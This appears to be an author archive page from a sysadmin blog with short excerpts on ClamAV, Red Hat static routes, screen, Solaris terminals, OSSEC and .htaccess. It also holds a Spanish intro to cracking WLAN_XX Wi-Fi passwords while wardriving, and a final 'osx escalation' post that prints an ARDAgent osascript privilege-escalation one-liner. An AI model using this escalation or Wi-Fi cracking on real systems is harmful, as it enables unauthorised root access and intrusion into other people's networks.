Archivo del Autor: carlosap

clam antivirus

Examples (0) Scan a single file: clamscan file (1) Scan a current working directory: clamscan (2) Scan all files (and subdirectories) in /home: clamscan -r /home (3) Load database from a file and limit disk usage to 50 MB: clamscan -d /tmp/newclamdb –max-space=50m -r /tmp (4) Scan a data stream: cat testfile | clamscan –… Leer más »

Sacando contraseñas de WLAN_XX con WifiSLAX en MacBook

Hoy voy a aprovechar para comenzar un tutorial para sacar claves WLAN_XX con WifiSLAX 3 utilizando un MacBook de un colega. A la noche haremos un wardriving por su barrio y sacaré fotos del proceso con las que actualizaré este post. Atención este tutorial es sólo para MacBooks. Lo primero que tenemos que hacer es… Leer más »

Static Routes in Redhat 9 – New isn’t always better

Overview With the introduction of Redhat version 8 and continued into version 9, the /etc/sysconfig/static-routes file no longer seems to function correctly. Linux static routes changed in 8.0 to a new format. Now you are to create a file in /etc/sysconfig/network-scripts for each Ethernet interface you wish to create static routes on. Example: touch /etc/sysconfig/network-scripts/route-eth0… Leer más »

screen ;)

Nothing new to add, but did want to emphasize that if a text-only terminal is all you need, ‘screen’ is the way to go. It is one of the lesser known unix goodies, and a true «wonder tool»: a tool you cannot live without once you use it. The quick primer: First time: ssh mymachine… Leer más »

Categoría: Nix

Xterm Color on Solaris

You maybe know that xterm-color (the bare default xterm with color) does not exists on Solaris. Damn !! my vim color is ugly, but there is a solution: export TERM=xtermc, it also exists on Mac and Linux so you can change your term to announce this terminal. Don’t forget the :syntax enable in your .vimrc God bless… Leer más »

coolstacks solaris

Cool Stack Installation on Solaris 10 You must be ‘root’ to install the packages. Download the packages you are interested in into any directory. For each of the downloaded packages, run the following bunzip2 and pkgadd commands: bunzip2 [package.pkg.bz2] For example: bunzip2 CSKmysql_1.3RC1_sparc.pkg.bz2 pkgadd -d [package.pkg] For example: pkgadd -d CSKmysql_1.3RC1_sparc.pkg This process will install… Leer más »

OSSEC

OSSEC is a scalable, multi-platform, open source Host-based Intrusion Detection System (HIDS). It has a powerful correlation and analysis engine, integrating log analysis, file integrity checking, Windows registry monitoring, centralized policy enforcement, rootkit detection, real-time alerting and active response. Home

.htaccess

USING .HTACCESS & HTPASSWD TO PROTECT YOUR FILES FROM UNAUTHORIZED ACCESS It is possible there are parts of your site which you would prefer that not just anyone have access to. APACHE and other web servers provide a system that you can use to control access to certain directories on your website. You might have… Leer más »

osx escalation

osascript -e ‘tell app «ARDAgent» to do shell script «whoami»‘;